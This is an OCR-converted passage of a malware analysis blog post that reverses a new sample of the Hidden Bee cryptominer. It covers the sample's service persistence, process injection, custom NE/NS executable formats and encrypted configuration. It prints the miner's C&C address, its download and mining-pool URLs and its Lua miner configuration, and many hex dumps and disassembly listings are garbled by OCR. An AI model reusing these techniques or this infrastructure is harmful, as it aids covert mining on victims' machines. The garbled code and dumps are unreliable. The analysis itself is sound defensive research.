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Some time ago, we discussed the interesting malware, Hidden Bee. It is a Chinese miner,
composed of userland components, as well as of a bootkit part. One of its unique features is
a custom format used for some of the high-level elements (this format was featured in my,
recent presentation at SAS).

Recently, we stumbled upon a new sample of Hidden Bee. As it turns out, its authors
decided to redesign some elements, as well as the used formats. In this post, we will take a
deep dive in the functionality of the loader and the included changes.

Sample

831d0bS55ebeb5e9ae19732e18041aa54 — shared by @James_inthe box

Overview

The Hidden Bee runs silently—only increased processor usage can hint that the system is
infected. More can be revealed with the help of tools inspecting the memory of running
processes.

Initially, the main sample installs itself as a Windows service:
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Services (Local)

-

NAPCUYWKOxywEgrO Marne Description Status Startup Type Log On As

. ] Microseft iSCSI Initiater Service Manages In... Manual Local System

Stop the SEMVICE Microsoft Software Shadow Copy Provider  Manages so... Manual Local System

Pause the service ) ] }

Restart the service Muozilla Maintenance Service Ustuga utrz... Manual Local System
Multimedia Class Scheduler Enables rela.. Automatic Local System
Met.Msmq Listener Adapter Receives act... Disabled Metwork Service

Hidden Bee service
However, once the next component is downloaded, this service is removed.

The payloads are injected into several applications, such as svchost.exe, msdtc.exe,
dilhost.exe, and WmiPrvSE.exe.

4 |8 sychost.exe Y4y w1y 18,58 MB - N1 AUTHUBRLL Y5 S 1EM Host Hrocess tor Windows Ser...
5 taskeng.exe 936 1,01 MB  testmachine\tester Task Scheduler Engine
4 }‘a msdtc.exe 2320 441 MB NT AUTHORITYV\SYSTEM  Microsoft Distributed Transac...
51 WrniPrvSE.exe 2860 0,02 56 B/s 499 MB MNT AUTHORITYV\SYSTEM  WMI Provider Host
57 dilhost.exe 3956 010 187 MB testmachineg'\tester COM Surrogate
51 svchost.exe 1092 35MB NT AU MNLOCAL SERVICE  Host Process for Windows Ser...

If we scan the system with hollows_hunter, we can see that there are some implants in the
memory of those processes:

Finizhed szcan in: 34988 millizeconds
SUMMARY -
[+] Total Suspicious: &
[+]1 List of suspicious:
[al:
> PID: 228
» Path: “Device“HarddizklUolume2:Windows“SuvstemI2-suchost _ exe
[11:
> PID: 2328
“Device~HarddizkUolume2 MindowssSystem32 mzdtc.exe

» Path: “Device“HarddizklUolume2*Windows*Systemd2-whem*miPruSE._exe
[31:
> PID: 39%6

“Device~HarddizkUolume2 Windows~System32~dllhost .exe

1868
> Path: “Device“HarddizklUolume2:Windows“Suvstemd2-suchost_ exe

scan by hollows_hunter

Indeed, if we take a look inside each process’ memory (with the help of Process Hacker), we

can see atypical executable elements:
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[ WmiPrvSE.exe (2860) Properties = E =

| General I Statistics I Performance I Threads I Token I Modules | Memery | Environment I Handles | Disk and Metwork Comment|

Hide free regions [ Strings... ] [ Refresh ]
Base address Type Size Protéct... Use Total W5 Private WS  Shareabl *
0x1de000 Private: Commit 8kB RW+G Stack (thread 3272)
0x78e000 Private: Commit kB RW+G Stack (thread 3012)
0x 1172000 Private: Commit kB RW+G Stack (thread 2452)
0xc0000 Mapped: Com... 368 kB RWX 368 kB 3
0340000 _ Private: Commit 244kB  RWX 244 kB 244 kB
0x530000 _ Private: Commit 28kB  RWX 28 kB 28 kB
Ox550000 | Private: Commit 224kB RWX 224 kB 224 kB
0x7ff30000 _ Private: Commit 144kE RWX 144 kB 144 kB
0x7ffe0000 _ Private: Commit 296 kB RWX 296 kB 296 kB
0x71000 Image: Commit 228kB RX Ci\Windows\System32wbemWmiPr... 20 kB kB

Hidden Bee implants are placed in RWX memory
Some of them are lacking typical PE headers, for example:

LT E W R LY PV dinayc P AN T AN VLA A AW TN D o D LTS VLTI AW T T 0

4 Q0000 Mapped 368 kE  RWX
Q0000 Mapped: Com... 3B KE  RWX
> 0120000 Mapped 412kE R Cr\Windows\System32Yocale.nls

| WmiPrvSE.exe (2860) (0xc0000 - 0x11000) =R <=

00000000 pERSa-RaiNif-N4c 01 2 00 00 T7e 05 00 04 00 00 OO Lwea™ennnnn -
00000010 10 0% 00 00 00 00 00 OO0 04 00 OO0 00 55 7d 48 68 ...eeeennnnn T1Hh [N
00000020 c2 48 &5 6d &9 76 &0 00 db bb 51 41 00 00 00 00 .Hemriv ...QR....
00000030 00 00 00 OO0 00 Q0 00 00 00 00 00 00 00 00 00 00 s.eevensnananans
00000040 00 00 OO0 OO0 00 00 00 OO0 00 00 00 00 00 00 00 00 weeeeenennnannnn
00000050 00 00 OO0 OO0 00 QOO0 00 00 00 00 OO0 00 00 00 00 00 w.eeeenennnannnn

Executable in one of the multiple customized formats used by Hidden Bee
But in addition to this, we can also find PE files implanted at unusual addresses in the
memory:

i

> Q77230000 Image 4kB  WCX C:\Windows\System 32\apisetschem. ..
» Qw7000 Mapped 1024kE R
4 Q730000 Private 1kE RWX
0xFfF30000 Private: Commit 144kB  RWX
A OuFB0000 Private 296 kB RWX
DxFff0000 Private: Commit 296 kB RWX
» 0w Fffb0000 Mapped 140kE R

| WmiPrvSE.exe (2860) (0x7F60000 - 0x7ffaal0n) o[- ]

00oaaoao ﬂd S5a 90 00 03 00 00 00 04 00 00 00 ££ ££ 00 00 Mi....nennannans -
00000010 bE& 00 00 00 00 00 Q0 OO0 40 00 00 00 00 00 00 00 ..eewans Bowanunn i
00000020 00 00 OO0 OO0 00 00 OO0 OO0 00 00 00 OO0 00 00 00 00 ..eeeeenennannann
00000030 00 00 00 00 00 00 00 00 00 00 00 00 8 00 00 00 ..eeevenennannnnn
00000040 O 1f ba Oes 00 b4 09 cd 21 BE 01 4c cd 21 54 68 ........ '..L.!Th
00000050 &9 73 20 70 72 &f &7 T2 &1 64 20 &3 61 &= 6e &L 13 program canno
00000060 74 20 62 &5 20 72 73 6e 20 69 &e 20 44 4f 53 20 t be run in DOS
00000070 &d 6L 64 65 Z2e 0d Od Oa 24 00 00 00 00 00 OO0 O0 mode....5.eeuu..

L{ 00000080 &7 dc 99 cd 23 bd £7 3e 23 bd £7 9 23 bd £7 % g...#...F...F.0s

IVIanuaIIy-Ioaded PE files in the memory of WmiPrvSE.exe
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Those manually-loaded PE files turned out to be legitimate DLLs: OpenCL.dll and
cudart32_80.dll (NVIDIA CUDA Runtime, Version 8.0.61 ). CUDA is a technology belonging
to NVidia graphic cards. So, their presence suggests that the malware uses GPU in order to
boost the mining performance.

When we inspect the memory even closer, we see within the executable implants there are
some strings referencing LUA components:

LI L L e Frivdie: WEnmmme O KO W Ha SLdUE UIredu 254340
Qxc0000 Mapped: Com... 368 KB RWX
0340000 Private: Commit 244kB  RWX

| WmiPrvSE.exe (2860) (0x340000 - 0x37d000) o &=
00037800 69 &= &9 74 00 00 00 00 &F 70 &5 & 00 00 00 00 init....open.... -
00037810 Sf 4c 4Ff 41 44 4c 49 42 00 00 00 00 4c 4f 41 44 LOADLIB....LOAD
00037820 4c 49 42 3a 20 00 00 00 70 &1 74 &8 00 00 00 00 LIB: ...path....
00037830 63 70 €1 74 &8 00 00 00 &c 75 €1 &F 70 &5 &e 5f cpath...luacpen
00037840 25 73 00 00 5£ 00 00 00 24 00 00 00 &c &f 61 64 %3.. ...-...load
00037850 &5 72 73 00 &3 &f G2 &6 &9 &7 00 00 Sc Oz 3b Oa era.config..\.:.
00037860 3f 0Oa 21 0a 24 00 00 00 4c S5 41 5f 43 50 41 54 2.!.-...L0R CEAT
00037870 48 00 00 00 2e 2f 3f 2e 73 6f 3b 6c 75 61 2f &c H..../7.30:lua/l
00037880 69 £2 2f &9 33 38 36 2f 3f 2e 73 6f 3b 6c 75 61 ik/i386/7.30:1lua
00037890 2f 6c 69 &2 2f 69 33 38 36 2f 6c 6f 61 64 61 &c flik/i386/loadal

000378a0 6c 2e 73 &f 00 00 Q0 QO l.30..../ Q' ERRTEs|
0003780 00 00 00 00 2e 2f 3L Ze 6c 75 &1 3b &6c 75 61 2 ..... F2.1ua; lua/
000378c0 73 72 &3 2f 3f Z2e 6c 75 81 3b 6c 75 81 2 73 src/?.lua;luassr
00037840 &3 2£ 3f 2f &9 6e 69 74 2e &c 75 &1 3k 00 00 cf2finit.1luar...
000378e0 01 00 00 00 3k 3k 00 00 3k 01 3k 00 74 &L Ge vireerer . LOOU

Strings referencing LUA scripting language, used by Hidden Bee components
Those strings are typical for the Hidden Bee miner, and they were also mentioned in the
previous reports.

-1 ka

-1
L R O

We can also see the strings referencing the mining activity, i.e. the Cryptonight miner.
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| WmiPrvSE.exe (2860) (0xa20000 - 0xc23000)

00000000 a0 Qo0
00000010 00 30
Qooooozo 21 7
00000030 62 &
00000040 2e &
00000050 00 0
00000080 00 O
00000070 &e 2
00000080 74 2e
000000590 16 00
0000000 5L 64
0000000 00 £
000000c0 36 34
Qooooodo 47 Q0
000000e0 &1 &d
000000£0 &c 2e
00000100 Sc OS5
00000110 &1 72
00000120 00 Q0
00000130 78 70
00000140 00 Q0
000001ls0 79 70
00000160 &6 01
00000170 &9 33
00000180 2e &2
00000150 00 Q0
0000010 00 OO0
000001bk0 38 36
000001cO 6c &C
00000ldo 73 72
000001ed 2e &3
000001£0 00 &2
00000200 &= 2e

List of modules:
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And we can even retrieve the miner configuration:

configuration.set("stratum.connect.timeout",20)

configuration.set("stratum.login.timeout",60)

configuration.set("stratum.keepalive.timeout",240)

configuration.set("stratum.stream.timeout",360)

configuration.set("stratum.keepalive",true)

configuration.set("job.idle.count",30)

configuration.set("stratum.lock.count",30)

configuration.set("miner.protocol","stratum+ssl://r.twotouchauthentication.online:17555/")

configuration.set("miner.username",configuration.uuid())

configuration.set("miner.password","x")

configuration.set("miner.agent”,"MinGate/5.1")

view raw config.lua hosted with ® by GitHub

Inside

Hidden Bee has a long chain of components that finally lead to loading of the miner. On the
way, we will find a variety of customized formats: data packages, executables, and
filesystems. The filesystems are going to be mounted in the memory of the malware, and
additional plugins and configuration are retrieved from there. Hidden Bee communicates with
the C&C to retrieve the modules—on the way also using its own TCP-based protocol.

The first part of the loading process is described by the following diagram:
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118.41.45.124:9000

encrypted configuration,
118.41.45.124:9000

. A 'NE' module:
downloader service

packed 'NE' module A CAB file
contaimning
core.sdb
The initial 1
e initial sample wnpack
sltp://bbs.favcom.space:1108/setup.bin
core.sdb:

an executable
in 'NS' format

shellcod ?TEEP acking preload (shellcode)

coredll.bin ('NS' module)
L

Irbx package ——>

com x86.dllfcom x64.dll
unpack - -

'FEEDFACE' custom
container

Y

sputnik.spk (!rsi package)

L

preload (shellcode)

J‘ plugins.spk (!rsi package)
coredll.bin ('NS' module)

'BABECAFE' Filesystem

(ROM FS based)
Each of the .spk packages contains a custom ‘SPUTNIK’ filesystem, containing more

executable modules.
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https://blog.malwarebytes.com/wp-content/uploads/2019/05/hidden_bee_loader-2.png

3 ) L]
coredll.bin ('NS' module) |

E

mpsi.dll (‘'NS' format) I > plugins.spk (!rsi package)

sputnik.spk (!rsi package)

Irsi -= packed
SPUTNIK Filesystem

4’{ cloudcompute.api

CcCmain.json mLf plug.zip.sig
L J
ccmain. bin "Mellifera"

miner

kernelbase. bin
4’{ netscan.api

netscan.bin

sc.bin

setup.cfg ‘

4’{ deepfreeze.api

Starting the analysis from the loader, we will go down to the plugins, showing the inner
workings of each element taking part in the loading process.

setup.bin

h e

The loader

In contrast to most of the malware that we see nowadays, the loader is not packed by any
crypter. According the header, it was compiled in November 2018.

Disasm: .text General DOSHdr RichHdr | File Hdr  Optional Hdr Section Hdrs Ba Imports

Offset Mame Value Meaning
E4 Machine 14c Intel 386
E6 Sections Count 5 5

E8 Time Date Stamp Sbdde636 Saturday, 03.11.2018 18:17:26 UTC

EC Ptrto Symbol Table O 0
While in the former edition the modules in the custom formats were dropped as separate
files, this time the next stage is unpacked from inside the loader.
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https://blog.malwarebytes.com/wp-content/uploads/2019/05/bee_plugins-1.png

The loader is not obfuscated. Once we load it with typical tools (IDA), we can clearly see how

the new format is loaded.

aad4adnis

@ede46as loc_ 4AB4BAS:
egeda46L5 push ecx
ege4846A6 push eax
2e4846A7 push ebx
28484648 push 488888h
Be4846AD0 call

AR484682 mov esi, eax

load custom format

The loading function

Section .shared contains the configuration:

4 [ new_bee.exe A% = 8 ¥ 0N 4 ]
DOS Header =
@ DOS stub 01 2 3 4 5 6 7 8 % ABCDEF Al 567
4 NT Headers 4200 OF FR DE D7 C8 E1 4E A3 52 78 47 C& A7 OB 0B 81
Signature 4210 OE 93 7F 62 D5 56 2F E0 BD 80 42 06 3C F8 BC DD
File Header 4220 54 57 6D CS E8 SF B7 A2 22 CD FD 3D 30 8B 3C 2F
Opticnal Header 4230 22 CD FD 3D 30 8B 3C 2F 2Z CD FD 3D 30 8B 3C 2ZF i
. Sectisoer::mn Headers 4240 2z GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F I
s 3 ted 4280 2z GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
=5 EP = 302¢ 4260 2z CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
o rdata 4270 22 CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
o .data 4280 22 CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
o .shared 4230 22 CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2ZF i
ol -sxdata 4280 22 CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
4280 22 CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
42c0 22 CD FD 2D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2F i
4200 2z CD FD 3D 30 8B 3C 2F 2z CD FD 3D 30 8B 3C 2F i
42E0 2z CD FD 3D 30 8B 3C 2F 2z CD FD 3D 30 8B 3C 2F i
42F0 2z CD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3C 2 i
4300 LD 3C 8C 86 &2 57 47 2B 85 €1 48 08 A3 28 DO 17
4310 54 7C 66 BE 34 B7 FC 2B ED 5B 17 4R BO &7 E8 01
4320 6D 1B SA Z1 06 09 27 ES 22 CD FD 3D 30 BB 3C 2
4330 22 GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3G 2
4340 22 GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3G 2
4380 22 GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3G 2
4360 22 GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3G 2
4370 22 GD FD 3D 30 8B 3C 2F 22 CD FD 3D 30 8B 3G 2
4380 22 CD FD 3D 30 8B 3C 2F BS 12 4D C8 43 BB BB 26
4390 1F 03 SA 7D 09 38 25 1F 00 00 00 00 00 00 00 00
4320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Encrypted configuration. The last 16 bytes after the data block is the key.

The configuration is decrypted with the help of XTEA algorithm.
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vy

il e =]

aedad41BE6
ae484166
ae4841B6
ae4a41C1
aa4a41C3
aada41C4
aa4a41C5
2a4841C8
eadadlCo
ae4a41CE
ae464101
ae484107

loc_4B41BB:

lea eax, word_487888[esi]
push 1

push eax

push eax

lea eax, [ebpt+crypt_context]
push eax

call xtea_decrypt

add esi, 8

cmp esi, 188h

jb

short loc_4B41EB

ol e =

28484109 cmp
@e4a841E2 jnz

ds:word_4e7ee8, 'pIl’

short loc_ 484283

. T J
The decrypted configuration must start from the magic WORD “pZ.” It contains the C&C and

Decrypting the configuration

the name under which the service will be installed:

Address |Hex dump

BE4EFEER
Ba4avala
BE4EFE2A
BE487aza
BEa4a7a4a
Ba4avasa
BE4ETEER
BE4EFE A
BE4EFEZA
BE4EFESEA
BE4EFEREA
BEa4avaea
Ba4avaca
aa4avana
BE4E7EER
BE4a7EFA
BE4E7 188
Ba4av1ia
BE4E7F 128
ga4a7v 128
BEa4a7v 148
Ba4av 158
BE4E7 188
BE4E7 178

BE4EF 126 BE BE @8
Ba4a7 198 1F B3 5A
BE4EFIAA) BB BE A8

Unscrambling the NE format

&l cooooono | #M=3 62

Tl b EEY...L L.

The NE format was seen before, in former editions of Hidden Bee. It is just a scrambled
version of the PE. By observing which fields have been misplaced, we can easily reconstruct

the original PE.
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https://www.freebuf.com/column/174581.html

1)
FF15
BEDE
59
S5DEB
~ 0OFEB4

40504000

EFO10000

push esi

call dword ptr
mov ebx,eax
pop ecx

test ebx,ebx
je new_bee. 404215

d=z: [«<&malloc=

56

53

FF75 ES8
FF75 EC

EE FOO10000
85 C0

push esi

push ebx

push dword ptr :[febp-1
push dword ptr ss:|[lebp-14
call new_bee. 404223

test eax,eax

decompress_custom_module

I

new_bee. 00404223

LLext: 0040402E new_bee, exel $402E #342E

The

Bypump1 | YWoumpz | @WDump3 | @eoump4 | @Woumps | & watch1i | *=llocals | 57 Stuct

Address
00200048
0020005 8
002D00ESE
00Z2D0O0T 8
00200088
00200098
002D0O0DAS
002D0O0ES
00Z2D0ODCE
0020000 8
00Z2D0O0ES
00Z2D0O0F 8
00200108
00200118 o0 00 00|00 00 00 OO0
00200128 4% DD 5B|00 OO OO OO0

loader, unpacking the next stage

NE is one of the two similar formats being used by this malware. Another similar one starts
from a DWORD 0xOEF1FAB9 and is used to further load components. Both of them have an
analogical structure that comes from slightly modified PE format:

Hex
4E
o0
o0
o0
oo
00
o0
o0
o0
o0
o0
o0
oo
00

> A
S

45
o0
oo
o0
oo
oo
o0
oo
oo
o0
oo
o0
oo

4C
o0
o0
oo
0o
00
o0
o0
00
o0
o0
oo
0o

01
oo
oo
o0
oo
00
oo
oo
o0
oo
oo
o0
oo

(Bl
0o
o0
0o
0o
oo
0o
00
0o
0o
o0
0o
0o

0o
0o
oo
00
0o
00
00
00
0o
0o
oo
00
0o

o0
oo
oo
o0
oo
00
oo
oo
o0
oo
oo
o0
oo

00
00
oo
00
00
00
00
00
00
00
oo
00
00

o0
o0
oo
o0
oo
00
o0
o0
o0
o0
oo
o0
oo
00
o0

oo
o0
oo
o0
oo
oo
o0
oo
oo
o0
oo
o0
oo
oo
o0

00
o0
oo
oo
0o
00
o0
o0
00
o0
oo
oo
0o
00
00

o0
oo
oo
o0
oo
00
oo
oo
o0
oo
oo
o0
oo
00
oo

0o
0o
o0
0o
0o
oo
0o
00
0o
0o
o0
0o
0o
oo
ED

0o
0o
oo
00
0o
00
00
00
0o
0o
oo
00
0o
00
00

o0
oo
oo
o0
oo
00
oo
oo
o0
oo
oo
o0
oo
05
0OE

00
00
00
00
00
00
00
00
00
00
00
00
00
00
21

Header:

WORD magic; // 'NE'
WORD pe_offset;
WORD machine_id;
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The conversion back to PE format is trivial: It is enough to add the erased magic numbers:
MZ and PE, and to move displaced fields to their original offsets. The tool that automatically
does the mentioned conversion is available here.

In the previous edition, the parts of Hidden Bee with analogical functionality were delivered in
a different, more complex proprietary format than the one currently being analyzed.

Second stage: a downloader (in NE format)

As a result of the conversion, we get the following PE:
(fddfd292eaf33a490224ebe5371d3275). This module is a downloader of the next stage. The
interesting thing is that the subsystem of this module is set as a driver, however, it is not
loaded like a typical driver. The custom loader loads it into a user space just like any typical
userland component.

The function at the module’s Entry Point is called with three parameters. The first is a path of
the main module. Then, the parameters from the configuration are passed. Example:

0012FE9C 00601A34 UNICODE "\"C:\Users\tester\Desktop\new_bee.exe\""
0012FEAO 00407104 UNICODE "NAPCUYWKOXywEgro"
0012FEA4 00407004 UNICODE "118.41.45.124:9000"
IS0 TOA UL W L D3 T T U
push eax sax:L"\"CiMUsershytestery\Desktop'\new_bee. exe’ ™"
call new_bee. 4043EF
add esi,=s
cmp es51,1858
~ | jb new_bee.4041BB
cmp word ptr ds:[407000],705A 00407 000: "Zp"
~ | jne new_bee. 4042032
push new_bee. 407004 407004:L"118.41.45,124: 93000"
push new_bee, 407104 407104 L"NAPCUYWKOXYyWEQro™
call dword ptr ds: [<&GetCommandLinew:]
push eax eax:L"\"C:\hUsersihtesterh\Desktop\\new_bee. exel""
call dword ptr ss:[ebp-14] call_ep

~ | jmp new_bee. 40421A
mov dword ptr ss:[ebp-CJ,1
jmp new_bee. 404194

Calling the Entry Point of the manually-loaded NE module
The execution of the module can take one of the two paths. The first one is meant for adding
persistence: The module installs itself as a service.

If the module detects that it is already running as a service, it takes the second path. In such
a case, it proceeds to download the next module from the server. The next module is packed
as as Cabinet file.
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https://github.com/hasherezade/bee_parser/tree/master/bee_lvl2_converter
https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/
https://www.virustotal.com/#/file/3a1c218de4d653dff06a68cfc12b958766dcb869450c9dd06928be819beb365c/details

B

L
i
b LM

EEEEREEENENEEN NN NN NNNN N

00020855
00020859
000208B5E
00020863
00020865
00020867

000Z0E6A

00020B6E
00020870
00020875
00020877
0002087 5

0002087 A

D00Z20EFE
000Z0EFD
00020BFE
000208581
00020883
00020886
000208587

00020880

2dx
202

e
push
push
call
test eax,eax

jne 20804

Tea eax,dword ptr
push eax

push 23848

call zoeEBES

mov esi,eax

pop ecx

test esi,esi

pop ecx

je z0DED4

push edi

lea edi,dword ptr
push dword ptr ds
Tea eax,dword ptr
push edi

push eax

call 20583

add esp,C

<JMP. &WSASTartup>

z5: lebp-1Cj)

ds: [esi+4]
i[esi]
s5: lebp-Cj

Z3848:0L"118.41.45,124: 3000"

edi: "MSCF"
edi: "MSCF",
edi:"MsCF"
unpack_the_cabinet

esi+4: "MSCF"

00020583

00020888

4\—r
he

B4 Dump 1

Wiy Dump 2 | Wiy Dump 3 | Wiy Dump 4 | Wiy Dump 5 | 2 watch 1 | [*=| Locals | ?Sh’un

Address

Hex

00417454
00417464
00417474
00417484
00417494
00417484
00417 4B4
004174C4
00417 4D 4
00417 4E4
00417 4F4
00417504
00417514
00417524
00417534
00417544

4D
2C
o0
00
69
81
oo
0o
00
o0
o0
00

00 00 20 00
40 00 20 00
00 00 20 00

53
oo
oo
o0
33
28
o0
oo
00
oo
oo
o0

43
0o
00
0o
EL:
B0
50
95
AD
0o
00
20

46
00
00
0o
1S
63
63
03
00
02
00
0o

00
oo
4E
o0
2F
80
o0
o1
00
oo
oo
o0
oo
oo
o0
oo

00
00
00
00
63
63
00
00
00
00
00
&5
48
C8
EZ
42

00
o0
o0
o0
&F
4E
o0
oo
00
B0
o0
50
f=1n]
B0
50
oo

downloaded Cabinet file is Beiﬁg éassed to the unpack_ing function
It is first unpacked into a file named “core.sdb”. The unpacked module is in a customized
format based on PE. This time, the format has a different signature: “NS” and it is different

oo
o0
oo
oo
72
53
o0
oo
oo
5z
03
52
L4
59
&0
oo

o1
00
[
4C
oo
0o

o0
00
o0
oo
oo
0o

oo
o0
2E
o1
10
oo

00
27
73
05
0o
0o

D& &3 00 00

00
0o
64
o0
00
0o

00
o1
80
62
62
oo
o0
oo

00
00
63
69
00
03
00
00

00
o0
o0
6E
B7
BC
o0
80

oo
o0
oo
2F
IA
o6
o0
59

«[.C.CNSL..... %.

o0
ool [004174BC]

= 00001000 {Use

oo
o0
oo
oo
o0
oo

50
0o
0o
oo
0o
0o

IF
oz
og
07
03
0o

oo
o0
oo
oo
o0
oo

oo
00
00
o0
00
00

oo
50
f=1n]
B0
50
oo

o3
52
L4

&0
oo

59| ..

from the aforementioned “NE” format (detailed explanation will be given further).

4 coresdb

Offaet (h)

00000000
00000010
00000020
00000030
00000040
Q0000050
00000060
00600070
00000080
00000050
000000A0

00

01

00
oo
00
80
0o
g0
80
&0
80
00

00
00
00
a2
03
22
54
59
&0
00

02

4Cc
00
0o
00
0o
00
00
00
00
0o
00

03

01
10
oo
00
0o
00
00
0o
00
oo
00

04

05
0o
oo
00
68
80
00
0o
00
oo
oo

05

00
oo
oo
o0
01
4F
o2
05
o7
03
oo

06

00
od
oo
00
oa
o0
o0
oo
o0
oo
o0

o7

03
00
oo
00
oo
00
00
oo
0o
oo
oo

It is loaded by the proprietary loader.

08

BC
00
go

=
=]

oo
0o

o
=}

god
gd
g0
0o

08

06
00
59
60
00
03
o
54
55
&0
00

o

0o
00
0o
00
0o
0o
00
0o
o0
0o
0o

0B

00
00
0o
00
00
0o
00
0o
o0
00
0o

oc

80
95
A0
00
00
20
40
40
20
40
0o

oD

63
03
0o
02
00
oo
00
]
00
0o
0o

0E

00
01
00
00
00
oo
00
0o
o0
00
00

oF

00
00
00
00
00
&8

o
=]

C&
Ez2
42
00

fdL.....L...€c..

........ €Y.. .
srassa i@ iaanaa
ER..h....cucuu.na
P s P
ER:iccaus €R..8..H
€T...... e€T..8..¢
eY......E¥.. ..&
I €*..E..B
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bl i =]

1888B3EES mov edi, [ebp+src]
18@883EE cmp word ptr [edi], ‘BN’
1e@ae3Fa jnz finish_leading

|'_*
The loader enumerates all the executables in a directory: %Systemroot%\Microsoft.NET\
and selects the ones with the compatible bitness (in the analyzed case it was selecting 32bit

PEs). Once it finds a suitable PE, it runs it and injects the payload there. The injected code is
run by adding its entry point to APC queue.

= 87| new_bee sxe <0.01 756 K 3108K 3652
EE':. METFXRepair.ee 204 K 3308 Microsoft MET Frameworl 4... Microsoft Corporation

Hidden Bee component injecting the next stage (core.sdb) into a new process
In case it failed to find the suitable executable in that directory, it performs the injection into
dlihost.exe instead.

Unscrambling the NS format

As mentioned before, the core.sdb is in yet another format named NS. It is also a customized
PE, however, this time the conversion is more complex than the NE format because more
structures are customized. It looks like a next step in the evolution of the NE format.

5| coresdb

Cffset(h) 00 01 02 03 04 05 06 OT7 08 09 OA OB OC OD QE OF Decoded text

00000000 FaL..... File-=Machine
Sections Count
Header Size

00000000 [Bc_o& oo oofJeo_ss oo _oo] rL...ec., EntryPoint
Module Size

Q0000010 DO OO0 OO 10(0O0 OO OOQ OO eemwaaas

Do 00 00 oof9s 03 01 0O Filled Data
. s v T
00000020 00 OO0 00 00 OO0 00 00 OO0 |80 SS9 00 OO0A0 00 00 00) +eeeeea. £Y.. ... Data Directory {
00000030 00 00 00 00 00 00 00 00|80 &0 00 00000 02 00 00) ...cv... € i RVA,

Q0000040 |80 52 00 OONe8 01 00 0OO0j Q0 OO 00 00 00 00 00 00 €R..h...........

#1 Imports
#2 Relocations
#3 IAT
00000050 68] ....€0...... ..n Section{
00000060 48] €R...... €R..E..H RVA,
00000070 Cg) €T...... €T..@..¢ Size,
00000080 E2) €Y...... £Y.. ..&
00go0o9ag 4z €7 ..., £ ..E..B Characteristics

}
Header of the NS format
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https://blog.malwarebytes.com/wp-content/uploads/2019/05/core_sdb.png

We can see that the changes in the PE headers are bigger and more lossy—only minimalist
information is maintained. Only few Data Directories are left. Also the sections table is
shrunk: Each section header contains only four out of nine fields that are in the original PE.

Additionally, the format allows to pass a runtime argument from the loader to the payload via
header: The pointer is saved into an additional field (marked “Filled Data” on the picture).

Not only is the PE header shrunk. Similar customization is done on the Import Table:

00005960 00 00 00 00 0D 00 OO0 0D 00 00 00 00 00 00 00 00  uverenernrennen

00005970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  uverenernrennen

ooooseao [JE 5C 00 0038 5B 00 COfo8 53 00 00000 00 00 00] ~%..B[...5...... RVA of DLL Name
00005980 BC 5C 00 00 38 SA 00 00 98 52 00 00 00 00 00 00 ILN..8Z...R.v.... Original First Thunk
000059A0 14 5F 00 00 4C SA 00 00 AC 52 00 00 00 00 00 90 . ..LZ..aR.e.... i

00005980 TC S5F 00 00 20 SA 00 00 80 52 00 00 00 00 00 O | +. Z..€R...... First Thunk

000059C0  9C 5F 00 00 30 58 00 00 90 53 00 00 00 00 00 00 & ..0[+..5...... Timestamp? Forwarder?
00005900 D8 5F 00 00 FC 5A 00 00 5C 53 00 00 00 00 00 00 R _..8Z..\5......

000D59E0 38 &0 00 00 D8 SA OO0 OO0 38 53 00 00 00 00 00 00 8°..RZ..85......

Customized part of the NS format’s import table
This custom format can also be converted back to the PE format with the help of a dedicated
converter, available here.

Third stage: core.sdb

The core.sdb module converted to PE format is available here:
a17645fac4bcb5253f36a654ea369bf9.

The interesting part is that the external loader does not complete the full loading process of
the module. It only copies the sections. But the rest of the module loading, such as applying
relocations and filling imports, is done internally in the core.sdb.

88678680 mov ebp, esp
BEa786EF sub esp, 2CCh
@ea7esCs push edi
Be87e6eCE mov edi, [ebptarg_4]
@@8786C9 push  edi The loading function is just at the Entry Point of
BeeTRaCA Eall load _SH_format
gaeveeCF test eax, eax
aaa7ashl pop ECK
@ea7esD2 jz exit
core.sdb

The previous component was supposed to pass to the core.sdb an additional buffer with the
data about the installed service: the name and the path. During its execution, core.sdb will
look up this data. If found, it will delete the previously-created service, and the initial file that
started the infection:
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https://blog.malwarebytes.com/wp-content/uploads/2019/05/custom_import_table1.png
https://github.com/hasherezade/bee_parser/tree/master/bee_lvl2_converter
https://malshare.com/sample.php?action=detail&hash=a17645fac4bcb5253f36a654ea369bf9

leegaesrs lea
leeaasFC push
lesaa7al push
leesaa7a2 push
leeea7e3 call
leaaaies mov
leBaaies test
leeea7al jz

ecx, [esi+4]
BF@LFFh

eCK

eax
ds:0penServicek
ebx, eax

ebx, ebx

short loc_leeesvza

[l e [

lepea7er lea eax, [ebptwvar_3C]
1eaea712 push eax

188668713 push 1

lepea7ls push ebx

1e@8a716 call ds:Caontrolservice
1eeea71C push ebx

1e88a71D call ds:Deleteservice
leeea?23 push ebx

leees724 call ds:CloseServiceHandle

X

leaaa72A
1eaee724 loc leeBayaAs:

leaea72s push
1eeea72D call
legaai3is wor

[ebptarg_82]
ds:CloseserviceHandle
ehx, ebx

‘9

FIE

laeaaiss

leeea73s loc_leesar3s:

1828735 push 3E8h

laaaa73s call ds:Sleep

18aa8748 mov eax, [esi]

lepae7a2 lea eax, [esiteax®244]

leeea74s push eax

1eeea747 call ds:DeleteFilel ; delete the initial executable

T

service

Getting rid of the previous persistence method suggests that it will be replaced by some
different technique. Knowing previous editions of Hidden Bee, we can suspect that it may be

a bootkit.

Removing the initial

After locking the mutex in a format Global\SC_{%08Ix-%04x-%04x-%02x%02x-

